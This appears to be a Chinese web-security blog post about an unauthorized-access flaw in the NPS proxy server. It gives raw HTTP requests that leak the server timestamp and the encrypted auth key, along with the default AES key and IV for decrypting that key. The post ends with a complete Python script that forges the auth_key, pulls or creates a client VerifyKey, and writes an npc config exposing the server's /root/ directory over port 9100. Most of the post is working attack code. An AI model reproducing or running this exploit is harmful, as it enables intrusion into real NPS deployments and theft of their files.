nps未授权访问

根据GitHub上的脚本,得知auth_key基本都是本地MD5加密得来的,但在一些系统上测试失败,后来发现是本地和服务器的时间有问题,所以查了一下文档,发现有直接获取时间戳和加密密钥的地方。

POST /auth/gettime HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
​
search=

返回一个json字段,里面包含服务器的时间戳。

POST /auth/getauthkey HTTP/1.1
Host: 192.168.70.250:18080
Content-Length: 7
Connection: close
Cookie:beegosessionID=xxxxx
​
search=

返回加密的auth_key,这个key是配置文件内的key,也就是默认为注释掉的那个。并不能直接拿来使用,如果这个值为5acabcf051cd55abca03d18294422e01,说明为空,如果为其他说明被修改过,这时候就要算auth_crypt_key的值是不是也被修改了,如果没有则可以

AES-CBC pkcs5 128位 key=1234567812345678 iv=1234567812345678 hex

进行解密,也就是说至少要有一个auth_crypt_key没被修改或已知。

如果到此处可以未授权访问,那么就可以查看客户端信息,来获取VerifyKey,获取这个东西目的是为了把客户吨连接到服务端。也就是返回中的这一段值

"Id": 2,
    "VerifyKey": "6sabs7dyn4rf1oob",
    "Addr": "192.168.70.250",
    "Remark": "",
    "Status": true,
    "IsConnect": true,

构造一个配置文件,其中的8024位默认的端口,需要在服务端的配置文件中修改,不对的话没事,访问首页去查看一下就行。

[common]
server_addr=1.1.1.1:8024
vkey=123
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/

这样就可以把客户端加入,并且构造了一个访问服务端文件的地址。地址就会映射到本地文件系统上。

xxx:9100/web

编写一个脚本来统一这个过程。

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 2022/8/16 14:13
# @Author  : misakikata
# @File    : nps_bypass.py
# @Description : autoremove
​
​
import argparse
import requests
import json,sys
import hashlib
from Crypto.Cipher import AES
# from urllib.parse import urlparse
from binascii import a2b_hex
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
​
​
​
headers = {
    "Cookie":"beegosessionID=2313ba62226729bf9bb0b9680da80a5f",
    "User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36",
    "Content-Type":"application/x-www-form-urlencoded",
    "Accept":"application/json, text/javascript, */*; q=0.01"
}
​
file_w = """[common]
server_addr={host}:8024
vkey={vkey}
[file]
mode=file
server_port=9100
local_path=/root/
strip_pre=/web/
"""
​
def get_time(host):
    url = host + "/auth/gettime"
    r = requests.post(url, headers=headers, data={"search":""})
    time = json.loads(r.text)['time']
    return time
​
​
def gen_authkey(authkey, timestamp):
    mdf = hashlib.md5()
    mdf.update((authkey+str(timestamp)).encode('utf-8'))
    auth_key = mdf.hexdigest()
    return auth_key
​
​
def get_key(host):
    url = host + "/auth/getauthkey"
    r = requests.post(url, headers=headers, data={"search": ""})
    key = json.loads(r.text)['crypt_auth_key']
    if key == "5acabcf051cd55abca03d18294422e01":
        authkey = ""
    else:
        if deco_key("1234567812345678", key):
            authkey = deco_key("1234567812345678", key)
        else:
            return False
    return authkey
​
def add_to_16(value):
    while len(value.encode('utf-8')) % 16 != 0:
        value += '\x00'
    return value.encode('utf-8')
​
def deco_key(key0,data):
    try:
        aes = AES.new(key=add_to_16(key0), mode=AES.MODE_CBC, iv=key0.encode())
        decryptedstr = aes.decrypt(a2b_hex(data)).decode().strip()
        return decryptedstr
    except:
        return False
​
​
def gen_conf(host, vkey):
    host = host.split(':')[0:2]
    file = file_w.format(host=''.join(host), vkey=vkey)
    with open("config.ini", 'w') as f:
        f.write(file)
    return True
​
def get_vkey(host, data):
    url = host + "/client/list"
    r = requests.post(url, headers=headers, data=data)
    if r.status_code == 200:
        try:
            vkey = json.loads(r.text)['rows'][0]['VerifyKey']
            return vkey
        except:
            if gen_client(host, data):
                print("无客户端,创建客户端成功")
                r = requests.post(url, headers=headers, data=data)
                vkey = json.loads(r.text)['rows'][0]['VerifyKey']
                return vkey
            else:
                return False
    else:
        return False
​
​
def gen_client(host, data):
    url = host + "/client/add"
    data = "remark=&u=&p=&vkey=&config_conn_allow=1&compress=0&crypt=0&"+data
    r = requests.post(url, headers=headers, data=data)
    if r.status_code == 200:
        if json.loads(r.text)['status'] == 1:
            return True
    return False
​
def main(host):
    times = get_time(host)
    if get_key(host):
        getkey = get_key(host)
    else:
        print(host+" 解密失败!")
        sys.exit(0)
    auth_key = gen_authkey(getkey, times)
    data = "auth_key={auth_key}&timestamp={timestamp}&start=0&limit=10".format(auth_key=auth_key,timestamp=times)
    r = requests.post(host, headers=headers, data=data)
    if r.status_code == 200:
        print(host+" is vuln!")
        if get_vkey(host, data):
            vkey = get_vkey(host, data)
            if gen_conf(host, vkey):
                print("请运行nps客户端命令:./npc -config=config.ini,并访问{host}:9100/web".format(host=''.join(host.split(':')[0:2])))
        else:
            print("未创建客户端或者获取失败!")
    else:
        print(host+" not is vuln!")
​
if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        description="NPS Bypass")
    parser.add_argument('-u', '--url', type=str,
                        help="单个url检测,默认密钥进行解密")
    args = parser.parse_args()
​
    if len(sys.argv) == 3:
        if sys.argv[1] in ['-u', '--url']:
            main(args.url)
    else:
        parser.print_help()




# web安全  

tocToc: